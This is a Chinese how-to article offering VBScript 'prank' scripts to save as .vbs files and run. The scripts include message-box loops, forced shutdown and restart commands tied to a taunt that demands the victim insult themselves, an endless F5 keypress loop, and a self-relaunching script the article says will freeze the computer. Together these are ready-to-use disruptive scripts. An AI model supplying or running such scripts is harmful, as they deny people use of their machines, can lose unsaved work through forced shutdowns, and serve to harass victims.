把内容复制到新建的记事本，之后重命名把后缀“txt”改成“vbs”就可以啦，双击打开，即可开始玩耍啦，今天小编就来说说关于vbs代码教程?下面更多详细答案一起来看看吧!
vbs代码教程
把内容复制到新建的记事本，之后重命名把后缀“txt”改成“vbs”就可以啦，双击打开，即可开始玩耍啦！
一、无限循环讲故事dim a
a=MsgBox("给你讲个故事!",vbyesno,"傻逼看这里~！")
if a=vbyes then
do
msgbox("从前有座山")
msgbox("山上有座庙")
msgbox("庙里有两个和尚")
msgbox("大和尚给小和尚讲故事说")
a=1
loop while a=1
end if
二、这算是一个比较老的吧on error resume next
dim WSHShellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪，不说我是猪就一分钟关你机，不信，试试···"" ",0 ,true
dim a
do while(a <> "我是猪")
a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪"" ","说不说","不说",8000,7000)
msgbox chr(13) chr(13) chr(13) a,0,"MsgBox"
loop
msgbox chr(13) chr(13) chr(13) "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) chr(13) chr(13) "哈哈哈哈，真过瘾"
三、自己试试看if MsgBox("对不起,今天您RP不佳需要爆破计算机。"&chr(10)&"确定要爆破吗？",vbOKCancel vbInformation,"爆破计算机")=vbCancel then
msgbox " 计算机将立刻爆破wow ~_^",,"你上当了！！"
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "shutdown -s -t 5",,true
end if
四、这个，自己看着办set ws=createobject("wscript.shell")
do
ws.sendkeys "{f5}"
loop
五、这个是极品，就不要轻易尝试了，电脑会死机的哦do
createobject("wscript.shell").run chr(34) & wscript.scriptname & chr(34)
loop
这种代码还有很多，大家可以慢慢去发掘
经本人亲自测试 不会出大问题的，一般都是利用无限循环，不是死循环，可以通过任务管理器中结束WSCRIPT或cscript进程即可
个别可能被杀毒软件识别为病毒
打开任务管理器→进程→找到映象名为“wscript.exe"的进程
有勇气的小伙伴可以试试，恶作剧简直就是不要不要的~
,
